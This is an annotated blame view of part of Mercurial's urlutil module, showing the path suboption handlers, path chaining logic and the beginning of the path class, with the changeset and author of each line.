5c9c41273367
cleanup: turn `pathsuboption` deprecation warning into an error
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
51178
diff
changeset
|
690 raise TypeError(msg) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
691 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
692 def register(func): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
693 _pathsuboptions[option] = (attr, func) |
50401
9d4a2ea3dcb9
paths: add an argument to format the suboption display
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50246
diff
changeset
|
694 path_suboptions_display[option] = display |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
695 return func |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
696 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
697 return register |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
698 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
699 |
50403
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50402
diff
changeset
|
700 def display_bool(value): |
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50402
diff
changeset
|
701 """display a boolean suboption back to the user""" |
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50402
diff
changeset
|
702 return b'yes' if value else b'no' |
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50402
diff
changeset
|
703 |
e9c676ad18f1
path: use the next `display` argument to deal with boolean
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50402
diff
changeset
|
704 |
50931
ceac1bd816f7
path-suboption: use str for "_pushloc" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50930
diff
changeset
|
705 @pathsuboption(b'pushurl', '_pushloc') |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
706 def pushurlpathoption(ui, path, value): |
46907
ffd3e823a7e5
urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
46906
diff
changeset
|
707 u = url(value) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
708 # Actually require a URL. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
709 if not u.scheme: |
47287
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47284
diff
changeset
|
710 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n') |
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47284
diff
changeset
|
711 msg %= (path.name, value) |
9cc9b4a25248
urlutil: provide some information about "bad url" when processing `pushurl`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47284
diff
changeset
|
712 ui.warn(msg) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
713 return None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
714 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
715 # Don't support the #foo syntax in the push URL to declare branch to |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
716 # push. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
717 if u.fragment: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
718 ui.warn( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
719 _( |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
720 b'("#fragment" in paths.%s:pushurl not supported; ' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
721 b'ignoring)\n' |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
722 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
723 % path.name |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
724 ) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
725 u.fragment = None |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
726 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
727 return bytes(u) |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
728 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
729 |
50930
b59ad4292c7a
path-suboption: use str for "pushrev" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50929
diff
changeset
|
730 @pathsuboption(b'pushrev', 'pushrev') |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
731 def pushrevpathoption(ui, path, value): |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
732 return value |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
733 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
734 |
48254
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
735 SUPPORTED_BOOKMARKS_MODES = { |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
736 b'default', |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
737 b'mirror', |
48256
b56858d85a7b
bookmarks: add a `ignore` variant of the bookmark mode
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48254
diff
changeset
|
738 b'ignore', |
48254
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
739 } |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
740 |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
741 |
50929
5f3c2adcc69c
path-suboption: use str for "bookmarks_mode" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50928
diff
changeset
|
742 @pathsuboption(b'bookmarks.mode', 'bookmarks_mode') |
48254
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
743 def bookmarks_mode_option(ui, path, value): |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
744 if value not in SUPPORTED_BOOKMARKS_MODES: |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
745 path_name = path.name |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
746 if path_name is None: |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
747 # this is an "anonymous" path, config comes from the global one |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
748 path_name = b'*' |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
749 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n') |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
750 msg %= (path_name, value) |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
751 ui.warn(msg) |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
752 if value == b'default': |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
753 value = None |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
754 return value |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
755 |
4d2ab365699e
bookmarks: move the `mirror` option to the `paths` section
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
48252
diff
changeset
|
756 |
49878
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
757 DELTA_REUSE_POLICIES = { |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
758 b'default': None, |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
759 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY, |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
760 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO, |
49879
bcae90c53def
delta-find: add a delta-reuse policy that blindly accepts incoming deltas
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49878
diff
changeset
|
761 b'forced': revlog_constants.DELTA_BASE_REUSE_FORCE, |
49878
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
762 } |
50402
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50401
diff
changeset
|
763 DELTA_REUSE_POLICIES_NAME = dict(i[::-1] for i in DELTA_REUSE_POLICIES.items()) |
49878
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
764 |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
765 |
50402
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50401
diff
changeset
|
766 @pathsuboption( |
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50401
diff
changeset
|
767 b'pulled-delta-reuse-policy', |
50928
dddd8e253c95
path-suboption: use str for "delta_reuse_policy" suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50927
diff
changeset
|
768 'delta_reuse_policy', |
50402
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50401
diff
changeset
|
769 display=DELTA_REUSE_POLICIES_NAME.get, |
c96fd53c0e2d
path: display proper user facing value for pulled-delta-reuse-policy
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50401
diff
changeset
|
770 ) |
49878
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
771 def delta_reuse_policy(ui, path, value): |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
772 if value not in DELTA_REUSE_POLICIES: |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
773 path_name = path.name |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
774 if path_name is None: |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
775 # this is an "anonymous" path, config comes from the global one |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
776 path_name = b'*' |
50246
f35cf52acabd
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49927
diff
changeset
|
777 msg = _( |
f35cf52acabd
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49927
diff
changeset
|
778 b'(paths.%s:pulled-delta-reuse-policy has unknown value: "%s")\n' |
f35cf52acabd
delta-find: rename `delta-reuse-policy` to `pulled-delta-reuse-policy`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49927
diff
changeset
|
779 ) |
49878
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
780 msg %= (path_name, value) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
781 ui.warn(msg) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
782 return DELTA_REUSE_POLICIES.get(value) |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
783 |
f1887500f3ec
delta-find: add a `delta-reuse-policy` on configuration `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49870
diff
changeset
|
784 |
50927
9f3e4b60bfe6
path-suboption: use str for "multi_urls" path suboptions
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
50920
diff
changeset
|
785 @pathsuboption(b'multi-urls', 'multi_urls', display=display_bool) |
47284
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
786 def multiurls_pathoption(ui, path, value): |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
787 res = stringutil.parsebool(value) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
788 if res is None: |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
789 ui.warn( |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
790 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
791 ) |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
792 res = False |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
793 return res |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
794 |
834f4e9d1af2
multi-urls: add a boolean suboption that unlock path specification as list
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47283
diff
changeset
|
795 |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
796 def _chain_path(base_path, ui, paths): |
47197
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47196
diff
changeset
|
797 """return the result of "path://" logic applied on a given path""" |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
798 new_paths = [] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
799 if base_path.url.scheme != b'path': |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
800 new_paths.append(base_path) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
801 else: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
802 assert base_path.url.path is None |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
803 sub_paths = paths.get(base_path.url.host) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
804 if sub_paths is None: |
47197
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47196
diff
changeset
|
805 m = _(b'cannot use `%s`, "%s" is not a known path') |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
806 m %= (base_path.rawloc, base_path.url.host) |
47197
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47196
diff
changeset
|
807 raise error.Abort(m) |
47198
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
808 for subpath in sub_paths: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
809 path = base_path.copy() |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
810 if subpath.raw_url.scheme == b'path': |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
811 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
812 m %= (path.rawloc, path.url.host) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
813 raise error.Abort(m) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
814 path.url = subpath.url |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
815 path.rawloc = subpath.rawloc |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
816 path.loc = subpath.loc |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
817 if path.branch is None: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
818 path.branch = subpath.branch |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
819 else: |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
820 base = path.rawloc.rsplit(b'#', 1)[0] |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
821 path.rawloc = b'%s#%s' % (base, path.branch) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
822 suboptions = subpath._all_sub_opts.copy() |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
823 suboptions.update(path._own_sub_opts) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
824 path._apply_suboptions(ui, suboptions) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
825 new_paths.append(path) |
7531cc34713c
urlutil: make `paths` class old list of `path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47197
diff
changeset
|
826 return new_paths |
47197
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47196
diff
changeset
|
827 |
26b3953ba1b0
urlutil: extract `chain_path` in a function
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47196
diff
changeset
|
828 |
52908
180591a9a6a1
typing: add a protocol for `urlutil.path`
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
52907
diff
changeset
|
829 class path(int_misc.IPath): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
830 """Represents an individual path and its configuration.""" |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
831 |
48250
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
832 def __init__( |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
833 self, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
834 ui=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
835 name=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
836 rawloc=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
837 suboptions=None, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
838 validate_path=True, |
ea50caada82d
path: add a new argument to control path validation
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47418
diff
changeset
|
839 ): |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
840 """Construct a path from its config options. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
841 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
842 ``ui`` is the ``ui`` instance the path is coming from. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
843 ``name`` is the symbolic name of the path. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
844 ``rawloc`` is the raw location, as defined in the config. |
49818
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49809
diff
changeset
|
845 ``_pushloc`` is the raw locations pushes should be made to. |
f27fbb908b10
path: deprecated the `pushloc` attribute
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49809
diff
changeset
|
846 (see the `get_push_variant` method) |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
847 |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
848 If ``name`` is not defined, we require that the location be a) a local |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
849 filesystem path with a .hg directory or b) a URL. If not, |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
850 ``ValueError`` is raised. |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
851 """ |
47196
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
852 if ui is None: |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
853 # used in copy |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
854 assert name is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
855 assert rawloc is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
856 assert suboptions is None |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
857 return |
a2632ce1f15b
urlutil: add a `copy` method to `path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
47071
diff
changeset
|
858 |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
859 if not rawloc: |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
860 raise ValueError(b'rawloc must be defined') |
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
861 |
49807
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49037
diff
changeset
|
862 self.name = name |
46906
33524c46a092
urlutil: extract `path` related code into a new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
diff
changeset
|
863 |
49807
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49037
diff
changeset
|
864 # set by path variant to point to their "non-push" version |
49808
0acefbbcc82a
path: add a method to retrieve a "push variant" of a path
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49807
diff
changeset
|
865 self.main_path = None |
49807
dd62eb4d2ea5
path: move the url parsing and related attribute setting to a method
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
49037
diff
